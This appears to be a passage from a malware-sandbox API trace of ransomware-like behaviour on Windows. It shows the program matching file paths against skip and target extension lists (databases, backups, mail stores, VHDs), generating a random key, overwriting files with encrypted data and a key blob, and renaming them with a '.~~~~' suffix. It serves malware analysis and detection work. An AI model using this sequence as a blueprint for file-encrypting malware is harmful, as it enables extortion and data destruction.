	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.192] lstrlenW (lpString=".msp") returned 4
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.192] lstrlenW (lpString=".pif") returned 4
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.192] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.193] lstrlenW (lpString=".sqb") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.193] lstrlenW (lpString=".ost") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.193] lstrlenW (lpString=".txt") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.193] lstrlenW (lpString=".mdt") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.193] lstrlenW (lpString=".BDB") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.193] lstrlenW (lpString=".eql") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.193] lstrlenW (lpString=".DBF") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.193] lstrlenW (lpString=".EQL") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.193] lstrlenW (lpString=".FDB") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.193] lstrlenW (lpString=".EDB") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.193] lstrlenW (lpString=".DACPAC") returned 7
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.193] lstrlenW (lpString=".VHD") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.193] lstrlenW (lpString=".DBV") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.193] lstrlenW (lpString=".dacpac") returned 7
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.193] lstrlenW (lpString=".sdf") returned 4
	[0085.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.194] lstrlenW (lpString=".accdb") returned 6
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.194] lstrlenW (lpString=".DBX") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.194] lstrlenW (lpString=".MDT") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.194] lstrlenW (lpString=".SQB") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.194] lstrlenW (lpString=".vhd") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.194] lstrlenW (lpString=".bac") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.194] lstrlenW (lpString=".mdf") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.194] lstrlenW (lpString=".BAK") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.194] lstrlenW (lpString=".BAC") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.194] lstrlenW (lpString=".dbs") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.194] lstrlenW (lpString=".vhdx") returned 5
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.194] lstrlenW (lpString=".NDF") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.194] lstrlenW (lpString=".dat") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.194] lstrlenW (lpString=".DBS") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.194] lstrlenW (lpString=".CKP") returned 4
	[0085.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.195] lstrlenW (lpString=".edb") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.195] lstrlenW (lpString=".PST") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.195] lstrlenW (lpString=".dbf") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.195] lstrlenW (lpString=".SQL") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.195] lstrlenW (lpString=".pst") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.195] lstrlenW (lpString=".dbv") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.195] lstrlenW (lpString=".SDF") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.195] lstrlenW (lpString=".dtxs") returned 5
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.195] lstrlenW (lpString=".db3") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.195] lstrlenW (lpString=".OST") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.195] lstrlenW (lpString=".dbx") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.195] lstrlenW (lpString=".DB3") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.195] lstrlenW (lpString=".DAT") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.195] lstrlenW (lpString=".VHDX") returned 5
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.195] lstrlenW (lpString=".ndf") returned 4
	[0085.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.195] lstrlenW (lpString=".DB") returned 3
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.196] lstrlenW (lpString=".sql") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.196] lstrlenW (lpString=".MYD") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.196] lstrlenW (lpString=".DBT") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.196] lstrlenW (lpString=".ACCDB") returned 6
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.196] lstrlenW (lpString=".fdb") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.196] lstrlenW (lpString=".bak") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.196] lstrlenW (lpString=".myd") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.196] lstrlenW (lpString=".DTXS") returned 5
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.196] lstrlenW (lpString=".ckp") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.196] lstrlenW (lpString=".dbt") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.196] lstrlenW (lpString=".db") returned 3
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.196] lstrlenW (lpString=".TXT") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.196] lstrlenW (lpString=".MDF") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.196] lstrlenW (lpString=".bdb") returned 4
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.196] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0085.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0085.196] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.197] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0085.197] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0085.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.198] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20518764427) returned 1
	[0085.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c97cc50, dwHighDateTime=0x1d60e1e)) 
	[0085.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2b10
	[0085.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2b10 | out: hHeap=0x300000) returned 1
	[0085.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abf48
	[0085.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abf48 | out: hHeap=0x300000) returned 1
	[0085.198] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.198] GetLastError () returned 0x0
	[0085.198] GetLastError () returned 0x0
	[0085.198] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.198] GetLastError () returned 0x0
	[0085.199] GetLastError () returned 0x0
	[0085.209] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff9c7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.209] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x639, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x639, lpOverlapped=0x0) returned 1
	[0085.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.209] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.209] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.210] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.210] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.210] CloseHandle (hObject=0x11c) returned 1
	[0085.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0085.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.~~~~")) returned 1
	[0085.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0085.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.211] GetLastError () returned 0x0
	[0085.211] RtlWakeConditionVariable () returned 0x365f70
	[0085.211] GetCurrentThreadId () returned 0x3a4
	[0085.211] GetCurrentThreadId () returned 0x3a4
	[0085.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0085.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abea0 | out: hHeap=0x300000) returned 1
	[0085.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2b48 | out: hHeap=0x300000) returned 1
	[0085.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abea0
	[0085.211] lstrlenW (lpString=".scr") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.211] lstrlenW (lpString=".cmd") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.211] lstrlenW (lpString=".dll") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.211] lstrlenW (lpString=".bat") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.211] lstrlenW (lpString=".cpl") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.211] lstrlenW (lpString=".sys") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.211] lstrlenW (lpString=".msc") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.211] lstrlenW (lpString=".com") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.211] lstrlenW (lpString=".lnk") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.211] lstrlenW (lpString=".msp") returned 4
	[0085.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.212] lstrlenW (lpString=".pif") returned 4
	[0085.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.212] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.213] lstrlenW (lpString=".sqb") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.213] lstrlenW (lpString=".ost") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.213] lstrlenW (lpString=".txt") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.213] lstrlenW (lpString=".mdt") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.213] lstrlenW (lpString=".BDB") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.213] lstrlenW (lpString=".eql") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.213] lstrlenW (lpString=".DBF") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.213] lstrlenW (lpString=".EQL") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.213] lstrlenW (lpString=".FDB") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.213] lstrlenW (lpString=".EDB") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.213] lstrlenW (lpString=".DACPAC") returned 7
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.213] lstrlenW (lpString=".VHD") returned 4
	[0085.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
